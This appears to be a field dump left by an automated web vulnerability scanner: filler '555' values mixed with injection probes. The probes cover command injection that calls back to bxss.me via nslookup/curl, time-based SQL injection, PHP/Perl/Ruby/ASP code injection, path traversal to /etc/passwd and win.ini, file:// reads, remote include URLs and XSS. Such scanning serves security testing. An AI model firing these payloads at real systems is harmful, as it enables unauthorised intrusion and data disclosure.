$(nslookup -q=cname hitmoagtwwbzbdad79.bxss.me||curl hitmoagtwwbzbdad79.bxss.me)
555
555
555
555
&nslookup -q=cname hithtluelyhyc28462.bxss.me&'\"`0&nslookup -q=cname hithtluelyhyc28462.bxss.me&`'
555
555
555
555
555
555
555
&(nslookup -q=cname hitgpyrigygnj1aed9.bxss.me||curl hitgpyrigygnj1aed9.bxss.me)&'\"`0&(nslookup -q=cname hitgpyrigygnj1aed9.bxss.me||curl hitgpyrigygnj1aed9.bxss.me)&`'
555
555
555
'"
555
555
555
555
555
|(nslookup -q=cname hitmguvekdhxl722dc.bxss.me||curl hitmguvekdhxl722dc.bxss.me)
HttP://bxss.me/t/xss.html?%00
555
555
555
<!--
555
555
555
555
bxss.me/t/xss.html?%00
`(nslookup -q=cname hitadgpqnabfg62d7f.bxss.me||curl hitadgpqnabfg62d7f.bxss.me)`
555
555
555
555
555
;(nslookup -q=cname hitnnuevdcqbx754e4.bxss.me||curl hitnnuevdcqbx754e4.bxss.me)|(nslookup -q=cname hitnnuevdcqbx754e4.bxss.me||curl hitnnuevdcqbx754e4.bxss.me)&(nslookup -q=cname hitnnuevdcqbx754e4.bxss.me||curl hitnnuevdcqbx754e4.bxss.me)
555
555
555
555
555
555
555
555
555
555
555
555
555
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitzqlqdhzosrbc239.bxss.me||curl${IFS}hitzqlqdhzosrbc239.bxss.me)
555
555
555
555
555
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitwsihvyfbndc83c7.bxss.me||curl${IFS}hitwsihvyfbndc83c7.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitwsihvyfbndc83c7.bxss.me||curl${IFS}hitwsihvyfbndc83c7.bxss.me)&`'
555
555
'"()
555
555
555
555'&&sleep(27*1000)*kojqei&&'
555
555
555
555
555
555"&&sleep(27*1000)*rdgkhk&&"
555
555
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555'||sleep(27*1000)*itxylm||'
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
"+"A".concat(70-3).concat(22*4).concat(101).concat(67).concat(110).concat(78)+(require"socket" Socket.gethostbyname("hitey"+"iruzemaf4a4ae.bxss.me.")[3].to_s)+"
555
';print(md5(31337));$a='
555"||sleep(27*1000)*aoknju||"
555
'+'A'.concat(70-3).concat(22*4).concat(102).concat(88).concat(122).concat(78)+(require'socket' Socket.gethostbyname('hitat'+'tubcyfbbd941e.bxss.me.')[3].to_s)+'
";print(md5(31337));$a="
555
'A'.concat(70-3).concat(22*4).concat(104).concat(67).concat(118).concat(75)+(require'socket' Socket.gethostbyname('hiteo'+'miiofyir81fcf.bxss.me.')[3].to_s)
${@print(md5(31337))}
555
555
${@print(md5(31337))}\
555
'.print(md5(31337)).'
555
<?php print(md5(31337));?>
555
555
'{${print(md5(31337))}}'
555
print(md5(31337));//
555
555
555
{php}print(md5(31337));{/php}
555
555
[php]print(md5(31337));[/php]
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
${10000262+9999055}
555
555
555
555
555
555
555
555
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
555
response.write(9884924*9411974)
555
555
555
'+response.write(9884924*9411974)+'
555
555
"+response.write(9884924*9411974)+"
555
555
555
../../../../../../../../../../../../../../etc/passwd
555
../../../../../../../../../../../../../../windows/win.ini
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
555
file:///etc/passwd
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
555
555
555
Http://bxss.me/t/fit.txt
555
555
555
555
http://bxss.me/t/fit.txt%3F.jpg
555
555
../555
555
B7T03WlB
555
/etc/shells
0zuCf0O5: bOcO7KnK
555
555
../../../../../../../../../../../../../../etc/shells
555
555
555
555
555
c:/windows/win.ini
555
555
555
bxss.me
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
echo dhgnzn$()\ abevqr\nz^xyu||a #' &echo dhgnzn$()\ abevqr\nz^xyu||a #|" &echo dhgnzn$()\ abevqr\nz^xyu||a #
555
)
555
555
555
&echo dytpqm$()\ dpmuub\nz^xyu||a #' &echo dytpqm$()\ dpmuub\nz^xyu||a #|" &echo dytpqm$()\ dpmuub\nz^xyu||a #
555
!(()&&!|*|*|
555
555&echo uhhkvz$()\ hsgeye\nz^xyu||a #' &echo uhhkvz$()\ hsgeye\nz^xyu||a #|" &echo uhhkvz$()\ hsgeye\nz^xyu||a #
555
^(#$!@#$)(()))******
|echo kjuhpu$()\ jqctzv\nz^xyu||a #' |echo kjuhpu$()\ jqctzv\nz^xyu||a #|" |echo kjuhpu$()\ jqctzv\nz^xyu||a #
555
555
555
555
555|echo icamxo$()\ traoib\nz^xyu||a #' |echo icamxo$()\ traoib\nz^xyu||a #|" |echo icamxo$()\ traoib\nz^xyu||a #
555
555
555
555
555
(nslookup -q=cname hitazmvqwordi75bc6.bxss.me||curl hitazmvqwordi75bc6.bxss.me))
555
555
555
555
'.gethostbyname(lc('hitug'.'oaopdlgobeb58.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(121).chr(71).chr(102).chr(78).'
$(nslookup -q=cname hitqdwjoxdjqs66f28.bxss.me||curl hitqdwjoxdjqs66f28.bxss.me)
555
555
555
555
&nslookup -q=cname hitbpgexzuwzd16325.bxss.me&'\"`0&nslookup -q=cname hitbpgexzuwzd16325.bxss.me&`'
".gethostbyname(lc("hitae"."yjfwjhga41a53.bxss.me."))."A".chr(67).chr(hex("58")).chr(117).chr(73).chr(115).chr(86)."
555
555
&(nslookup -q=cname hittnogzbiovs0d0b5.bxss.me||curl hittnogzbiovs0d0b5.bxss.me)&'\"`0&(nslookup -q=cname hittnogzbiovs0d0b5.bxss.me||curl hittnogzbiovs0d0b5.bxss.me)&`'
'{${print(md5(31337))}}'
555
print(md5(31337));//
555
555
555
555
{php}print(md5(31337));{/php}
555
555
555
555
555-1) OR 239=(SELECT 239 FROM PG_SLEEP(15))--
555
555-1)) OR 826=(SELECT 826 FROM PG_SLEEP(15))--
555
555
555AIEfMctd') OR 554=(SELECT 554 FROM PG_SLEEP(15))--
555
555
555
555
555
555S2z1aV1K')) OR 726=(SELECT 726 FROM PG_SLEEP(15))--
555
555
555
555
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
555*if(now()=sysdate(),sleep(15),0)
555
555
555
555
555
555
555
555
555
555
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
${10000149+10000215}
555
555
555
555
555
555
555
555
555
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
555
555
Http://bxss.me/t/fit.txt
555
555
http://bxss.me/t/fit.txt%3F.jpg
555
response.write(9806031*9113176)
/etc/shells
../../../../../../../../../../../../../../etc/shells
../../../../../../../../../../../../../../etc/passwd
'+response.write(9806031*9113176)+'
../../../../../../../../../../../../../../windows/win.ini
c:/windows/win.ini
"+response.write(9806031*9113176)+"
bxss.me
file:///etc/passwd
555
555
555
../555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
6e2tdRik
dNA3dVuO: 9WCHRZ94
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
xfs.bxss.me
555
555
555
echo gvsiii$()\ foezzv\nz^xyu||a #' &echo gvsiii$()\ foezzv\nz^xyu||a #|" &echo gvsiii$()\ foezzv\nz^xyu||a #
555
555
&echo yrjbrm$()\ oybatp\nz^xyu||a #' &echo yrjbrm$()\ oybatp\nz^xyu||a #|" &echo yrjbrm$()\ oybatp\nz^xyu||a #
555
555&echo bsdkjj$()\ gwjucs\nz^xyu||a #' &echo bsdkjj$()\ gwjucs\nz^xyu||a #|" &echo bsdkjj$()\ gwjucs\nz^xyu||a #
555
555
|echo saqskr$()\ amfwmu\nz^xyu||a #' |echo saqskr$()\ amfwmu\nz^xyu||a #|" |echo saqskr$()\ amfwmu\nz^xyu||a #
555
555
)
555|echo chijni$()\ vrckfd\nz^xyu||a #' |echo chijni$()\ vrckfd\nz^xyu||a #|" |echo chijni$()\ vrckfd\nz^xyu||a #
!(()&&!|*|*|
(nslookup -q=cname hitzcpbojnndhf5cb5.bxss.me||curl hitzcpbojnndhf5cb5.bxss.me))
555
$(nslookup -q=cname hithcbtvtuuyw2ba61.bxss.me||curl hithcbtvtuuyw2ba61.bxss.me)
555
&nslookup -q=cname hitwtorfrvdyq01d70.bxss.me&'\"`0&nslookup -q=cname hitwtorfrvdyq01d70.bxss.me&`'
^(#$!@#$)(()))******
555
&(nslookup -q=cname hitpvinbyygjh38a87.bxss.me||curl hitpvinbyygjh38a87.bxss.me)&'\"`0&(nslookup -q=cname hitpvinbyygjh38a87.bxss.me||curl hitpvinbyygjh38a87.bxss.me)&`'
555
555
555
|(nslookup -q=cname hitvlfvhsaual19105.bxss.me||curl hitvlfvhsaual19105.bxss.me)
555
555
555
555
555
`(nslookup -q=cname hituwkxwfcxts9180a.bxss.me||curl hituwkxwfcxts9180a.bxss.me)`
;(nslookup -q=cname hitbjxnsaabfyf500c.bxss.me||curl hitbjxnsaabfyf500c.bxss.me)|(nslookup -q=cname hitbjxnsaabfyf500c.bxss.me||curl hitbjxnsaabfyf500c.bxss.me)&(nslookup -q=cname hitbjxnsaabfyf500c.bxss.me||curl hitbjxnsaabfyf500c.bxss.me)
555
555
'.gethostbyname(lc('hitll'.'rxfobqle4f56a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(78).chr(120).chr(70).'
|(nslookup${IFS}-q${IFS}cname${IFS}hithtnzmmbino186bd.bxss.me||curl${IFS}hithtnzmmbino186bd.bxss.me)
".gethostbyname(lc("hitxd"."iocvfprg1cb00.bxss.me."))."A".chr(67).chr(hex("58")).chr(113).chr(86).chr(109).chr(71)."
555
555
gethostbyname(lc('hitmy'.'yxgtelcr0f718.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(90).chr(121).chr(72)
&(nslookup${IFS}-q${IFS}cname${IFS}hitrswyhjkvph6b30b.bxss.me||curl${IFS}hitrswyhjkvph6b30b.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitrswyhjkvph6b30b.bxss.me||curl${IFS}hitrswyhjkvph6b30b.bxss.me)&`'
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
'"()
555
555
555
555
HttP://bxss.me/t/xss.html?%00
555'&&sleep(27*1000)*fiinaq&&'
555
555
555"&&sleep(27*1000)*llslpp&&"
bxss.me/t/xss.html?%00
555
'"
555
555
<!--
555'||sleep(27*1000)*laqujd||'
555
555"||sleep(27*1000)*bekono||"
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
555
555
555
';print(md5(31337));$a='
555
"+"A".concat(70-3).concat(22*4).concat(118).concat(88).concat(121).concat(73)+(require"socket" Socket.gethostbyname("hitob"+"fsaevhfed92b8.bxss.me.")[3].to_s)+"
";print(md5(31337));$a="
${@print(md5(31337))}
555
555
'+'A'.concat(70-3).concat(22*4).concat(114).concat(71).concat(118).concat(81)+(require'socket' Socket.gethostbyname('hitaz'+'vwlhdycb3dfd5.bxss.me.')[3].to_s)+'
${@print(md5(31337))}\
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
'.print(md5(31337)).'
'A'.concat(70-3).concat(22*4).concat(103).concat(83).concat(122).concat(86)+(require'socket' Socket.gethostbyname('hitsu'+'eqqaimkp76979.bxss.me.')[3].to_s)
555
555
<?php print(md5(31337));?>
555
555
555
'{${print(md5(31337))}}'
print(md5(31337));//
555
555
555
555
555
{php}print(md5(31337));{/php}
555
555
555
555
555
[php]print(md5(31337));[/php]
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555H3qFu1rl'; waitfor delay '0:0:15' --
555-1 OR 837=(SELECT 837 FROM PG_SLEEP(15))--
555-1) OR 451=(SELECT 451 FROM PG_SLEEP(15))--
555-1)) OR 890=(SELECT 890 FROM PG_SLEEP(15))--
555U98epwa2' OR 660=(SELECT 660 FROM PG_SLEEP(15))--
5554Wy7lJLc') OR 198=(SELECT 198 FROM PG_SLEEP(15))--
5553XcKu46m')) OR 54=(SELECT 54 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
@@HlJqg
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
${10000066+9999020}
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
../../../../../../../../../../../../../../etc/passwd
555
response.write(9143068*9272775)
../../../../../../../../../../../../../../windows/win.ini
file:///etc/passwd
555
'+response.write(9143068*9272775)+'
555
555
555
"+response.write(9143068*9272775)+"
555
555
555
555
555
8VoKDfpC
../555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
555
555
KfjftfDk: wkkwmWCw
Http://bxss.me/t/fit.txt
555
http://bxss.me/t/fit.txt%3F.jpg
555
555
555
555
555
/etc/shells
555
555
../../../../../../../../../../../../../../etc/shells
555
555
555
c:/windows/win.ini
555
555
555
555
bxss.me
555
555
555
555
xfs.bxss.me
555
echo jbaxpv$()\ xobktk\nz^xyu||a #' &echo jbaxpv$()\ xobktk\nz^xyu||a #|" &echo jbaxpv$()\ xobktk\nz^xyu||a #
555
555
555
&echo fwneuc$()\ tyckmt\nz^xyu||a #' &echo fwneuc$()\ tyckmt\nz^xyu||a #|" &echo fwneuc$()\ tyckmt\nz^xyu||a #
555
555
555&echo alvajm$()\ nmbuev\nz^xyu||a #' &echo alvajm$()\ nmbuev\nz^xyu||a #|" &echo alvajm$()\ nmbuev\nz^xyu||a #
555
555
555
|echo zbntxm$()\ moylqh\nz^xyu||a #' |echo zbntxm$()\ moylqh\nz^xyu||a #|" |echo zbntxm$()\ moylqh\nz^xyu||a #
555
555
555|echo crzfih$()\ ggpmme\nz^xyu||a #' |echo crzfih$()\ ggpmme\nz^xyu||a #|" |echo crzfih$()\ ggpmme\nz^xyu||a #
555
555
555
555
)
(nslookup -q=cname hitapfdautfsye72a6.bxss.me||curl hitapfdautfsye72a6.bxss.me))
$(nslookup -q=cname hitoewuzmruhjeee6b.bxss.me||curl hitoewuzmruhjeee6b.bxss.me)
555
!(()&&!|*|*|
555
555
&nslookup -q=cname hitvsvogqtxgg56005.bxss.me&'\"`0&nslookup -q=cname hitvsvogqtxgg56005.bxss.me&`'
555
^(#$!@#$)(()))******
&(nslookup -q=cname hitnwbcppurbx6c731.bxss.me||curl hitnwbcppurbx6c731.bxss.me)&'\"`0&(nslookup -q=cname hitnwbcppurbx6c731.bxss.me||curl hitnwbcppurbx6c731.bxss.me)&`'
555
555
|(nslookup -q=cname hitocjomyqhahf34ee.bxss.me||curl hitocjomyqhahf34ee.bxss.me)
555
`(nslookup -q=cname hitabiicvggsk48954.bxss.me||curl hitabiicvggsk48954.bxss.me)`
555
;(nslookup -q=cname hitqpggorhuei82d24.bxss.me||curl hitqpggorhuei82d24.bxss.me)|(nslookup -q=cname hitqpggorhuei82d24.bxss.me||curl hitqpggorhuei82d24.bxss.me)&(nslookup -q=cname hitqpggorhuei82d24.bxss.me||curl hitqpggorhuei82d24.bxss.me)
555
555
555
555
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitlcwzpetute05524.bxss.me||curl${IFS}hitlcwzpetute05524.bxss.me)
555
555
'.gethostbyname(lc('hitni'.'ngqnxtqo83428.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(98).chr(83).chr(108).chr(66).'
&(nslookup${IFS}-q${IFS}cname${IFS}hityabmqpxmui8f3f9.bxss.me||curl${IFS}hityabmqpxmui8f3f9.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hityabmqpxmui8f3f9.bxss.me||curl${IFS}hityabmqpxmui8f3f9.bxss.me)&`'
555
555
555
555
".gethostbyname(lc("hitzx"."qjqnlbnte3e04.bxss.me."))."A".chr(67).chr(hex("58")).chr(106).chr(66).chr(115).chr(72)."
555
555
555
555
gethostbyname(lc('hitxk'.'pxsmygmjf9c4d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(76).chr(119).chr(90)
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
'"()
555
555
555'&&sleep(27*1000)*rqonsb&&'
555
555
555
555
555"&&sleep(27*1000)*nvgnwe&&"
555
555'||sleep(27*1000)*rooter||'
555
555
555"||sleep(27*1000)*lphhgd||"
555
555
555
555
'"
555
555
555
<!--
555
555
555
555
555
HttP://bxss.me/t/xss.html?%00
555
555
555
555
bxss.me/t/xss.html?%00
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
555
555
';print(md5(31337));$a='
"+"A".concat(70-3).concat(22*4).concat(117).concat(66).concat(116).concat(77)+(require"socket" Socket.gethostbyname("hitjn"+"gwsgsmytfa7ce.bxss.me.")[3].to_s)+"
555
'+'A'.concat(70-3).concat(22*4).concat(121).concat(79).concat(121).concat(85)+(require'socket' Socket.gethostbyname('hitxb'+'kdxqcgqeb94f7.bxss.me.')[3].to_s)+'
555
";print(md5(31337));$a="
555
${@print(md5(31337))}
'A'.concat(70-3).concat(22*4).concat(98).concat(81).concat(107).concat(82)+(require'socket' Socket.gethostbyname('hitlp'+'qupwkmjt72e0e.bxss.me.')[3].to_s)
${@print(md5(31337))}\
555
'.print(md5(31337)).'
555
555
<?php print(md5(31337));?>
555
555
555
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
555
'{${print(md5(31337))}}'
555
555
print(md5(31337));//
555
555
555
{php}print(md5(31337));{/php}
555
555
[php]print(md5(31337));[/php]
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555EVMwTM7G'; waitfor delay '0:0:15' --
555-1 OR 116=(SELECT 116 FROM PG_SLEEP(15))--
555-1) OR 181=(SELECT 181 FROM PG_SLEEP(15))--
555-1)) OR 393=(SELECT 393 FROM PG_SLEEP(15))--
5553vedQbaY' OR 421=(SELECT 421 FROM PG_SLEEP(15))--
555frhEGVFg') OR 396=(SELECT 396 FROM PG_SLEEP(15))--
555V4m5F429')) OR 479=(SELECT 479 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
@@s1mam
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
${9999263+9999097}
555
555
555
555
555
555
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
555
555
555
555
555
555
555
555
555
555
555
555
response.write(9646665*9378339)
555
555
555
'+response.write(9646665*9378339)+'
555
555
"+response.write(9646665*9378339)+"
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
555
555
../../../../../../../../../../../../../../etc/passwd
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
555
../../../../../../../../../../../../../../windows/win.ini
Http://bxss.me/t/fit.txt
555
file:///etc/passwd
555
http://bxss.me/t/fit.txt%3F.jpg
urRMBDjy
555
hxWwnREo: xuHkXHcS
555
/etc/shells
../555
555
555
../../../../../../../../../../../../../../etc/shells
555
c:/windows/win.ini
xfs.bxss.me
555
555
555
555
bxss.me
555
555
555
555
555
555
555
555
555
)
555
555
555
555
!(()&&!|*|*|
555
555
555
555
555
^(#$!@#$)(()))******
555
555
555
555
555
'.gethostbyname(lc('hitsg'.'ewhbfhrh6046b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(111).chr(77).chr(119).chr(74).'
'"
555
555
555
555
555
".gethostbyname(lc("hitmt"."asvkembd64b34.bxss.me."))."A".chr(67).chr(hex("58")).chr(116).chr(69).chr(113).chr(74)."
555
555
555
<!--
555
555
gethostbyname(lc('hitqy'.'lrbqzhay40624.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(73).chr(99).chr(83)
555
555
555
555
555
555
555
555
HttP://bxss.me/t/xss.html?%00
555
555
555
555
555
555
555
bxss.me/t/xss.html?%00
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
echo ppfvkh$()\ wjdshb\nz^xyu||a #' &echo ppfvkh$()\ wjdshb\nz^xyu||a #|" &echo ppfvkh$()\ wjdshb\nz^xyu||a #
555
555
555
&echo vrfekc$()\ zdnnlf\nz^xyu||a #' &echo vrfekc$()\ zdnnlf\nz^xyu||a #|" &echo vrfekc$()\ zdnnlf\nz^xyu||a #
555
555
555
555&echo cdesuw$()\ maglcz\nz^xyu||a #' &echo cdesuw$()\ maglcz\nz^xyu||a #|" &echo cdesuw$()\ maglcz\nz^xyu||a #
555
555
555
555
555
555
|echo maldjz$()\ wqjsdz\nz^xyu||a #' |echo maldjz$()\ wqjsdz\nz^xyu||a #|" |echo maldjz$()\ wqjsdz\nz^xyu||a #
555
"+"A".concat(70-3).concat(22*4).concat(121).concat(71).concat(121).concat(81)+(require"socket" Socket.gethostbyname("hitqg"+"rmtlvorr44ad0.bxss.me.")[3].to_s)+"
555
555
555|echo efwhpl$()\ oapnju\nz^xyu||a #' |echo efwhpl$()\ oapnju\nz^xyu||a #|" |echo efwhpl$()\ oapnju\nz^xyu||a #
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
'+'A'.concat(70-3).concat(22*4).concat(104).concat(66).concat(116).concat(89)+(require'socket' Socket.gethostbyname('hitgp'+'rgtoffnq82445.bxss.me.')[3].to_s)+'
555<esi:include src="http://bxss.me/rpb.png"/>
';print(md5(31337));$a='
555
'"()
(nslookup -q=cname hitkbkizkipdk449b8.bxss.me||curl hitkbkizkipdk449b8.bxss.me))
'A'.concat(70-3).concat(22*4).concat(114).concat(73).concat(117).concat(84)+(require'socket' Socket.gethostbyname('hitdy'+'yhsaelom3c951.bxss.me.')[3].to_s)
555
";print(md5(31337));$a="
$(nslookup -q=cname hitebinzubile9a979.bxss.me||curl hitebinzubile9a979.bxss.me)
555
555
555
555'&&sleep(27*1000)*bascnk&&'
${@print(md5(31337))}
555
555
${@print(md5(31337))}\
555"&&sleep(27*1000)*futdeq&&"
&nslookup -q=cname hitmwyovsqybe4a4ba.bxss.me&'\"`0&nslookup -q=cname hitmwyovsqybe4a4ba.bxss.me&`'
${9999506+9999849}
555
'.print(md5(31337)).'
555'||sleep(27*1000)*fhxyru||'
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
&(nslookup -q=cname hitqmxccompod34120.bxss.me||curl hitqmxccompod34120.bxss.me)&'\"`0&(nslookup -q=cname hitqmxccompod34120.bxss.me||curl hitqmxccompod34120.bxss.me)&`'
<?php print(md5(31337));?>
555
555"||sleep(27*1000)*bbcdif||"
|(nslookup -q=cname hittglylsvuvn879b0.bxss.me||curl hittglylsvuvn879b0.bxss.me)
555
'{${print(md5(31337))}}'
`(nslookup -q=cname hitagmmybnbbkccf0d.bxss.me||curl hitagmmybnbbkccf0d.bxss.me)`
555
555
555
print(md5(31337));//
;(nslookup -q=cname hituabhurxgwd09626.bxss.me||curl hituabhurxgwd09626.bxss.me)|(nslookup -q=cname hituabhurxgwd09626.bxss.me||curl hituabhurxgwd09626.bxss.me)&(nslookup -q=cname hituabhurxgwd09626.bxss.me||curl hituabhurxgwd09626.bxss.me)
555
555
|(nslookup${IFS}-q${IFS}cname${IFS}hittfxjdqhbza9e029.bxss.me||curl${IFS}hittfxjdqhbza9e029.bxss.me)
555
555
555
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitkvdcyzeoprd20c0.bxss.me||curl${IFS}hitkvdcyzeoprd20c0.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitkvdcyzeoprd20c0.bxss.me||curl${IFS}hitkvdcyzeoprd20c0.bxss.me)&`'
{php}print(md5(31337));{/php}
555
[php]print(md5(31337));[/php]
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
N0TVffVK
555
555
555
MrYbNHYL: Vkizq6iL
response.write(9739635*9514611)
555
555
555
555
'+response.write(9739635*9514611)+'
555
555
../../../../../../../../../../../../../../etc/passwd
"+response.write(9739635*9514611)+"
555
xfs.bxss.me
555
../../../../../../../../../../../../../../windows/win.ini
555
file:///etc/passwd
555
555
555
555
555
555
555
555
555
../555
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
555
555
555
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
555
555
555
555
555
555
Http://bxss.me/t/fit.txt
555
555
555
555
555
http://bxss.me/t/fit.txt%3F.jpg
555
555
555
555
555
555
/etc/shells
555
555
555
555
555
555
555
555
555
../../../../../../../../../../../../../../etc/shells
555
555
555
555
555
c:/windows/win.ini
555
555
555
555
555
555
555
bxss.me
555
555
555
)
555
555
555
!(()&&!|*|*|
555
555
555
555
^(#$!@#$)(()))******
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
'"
555
echo urwrdc$()\ malfqj\nz^xyu||a #' &echo urwrdc$()\ malfqj\nz^xyu||a #|" &echo urwrdc$()\ malfqj\nz^xyu||a #
555
555
555
555
<!--
'.gethostbyname(lc('hitbs'.'lkkbmrfb891ab.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(72).chr(100).chr(67).'
555
".gethostbyname(lc("hitet"."wmhzgknla5ed4.bxss.me."))."A".chr(67).chr(hex("58")).chr(103).chr(71).chr(114).chr(87)."
555
&echo ediwgg$()\ kxudvj\nz^xyu||a #' &echo ediwgg$()\ kxudvj\nz^xyu||a #|" &echo ediwgg$()\ kxudvj\nz^xyu||a #
555
555
555
555
555
555
555&echo ttzydy$()\ cbpyog\nz^xyu||a #' &echo ttzydy$()\ cbpyog\nz^xyu||a #|" &echo ttzydy$()\ cbpyog\nz^xyu||a #
gethostbyname(lc('hitdg'.'jdsjztfr25118.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(77).chr(121).chr(82)
555
555
555
555
555
555
|echo epoyaw$()\ lnosgp\nz^xyu||a #' |echo epoyaw$()\ lnosgp\nz^xyu||a #|" |echo epoyaw$()\ lnosgp\nz^xyu||a #
555
555
555
555
555
555
555
555|echo ibtkdo$()\ xbkofx\nz^xyu||a #' |echo ibtkdo$()\ xbkofx\nz^xyu||a #|" |echo ibtkdo$()\ xbkofx\nz^xyu||a #
555
555
555
555
555
555
555
555
555
555
555
555
555
555
(nslookup -q=cname hitlbwealzodw71589.bxss.me||curl hitlbwealzodw71589.bxss.me))
555
555
555
555
555
555
555
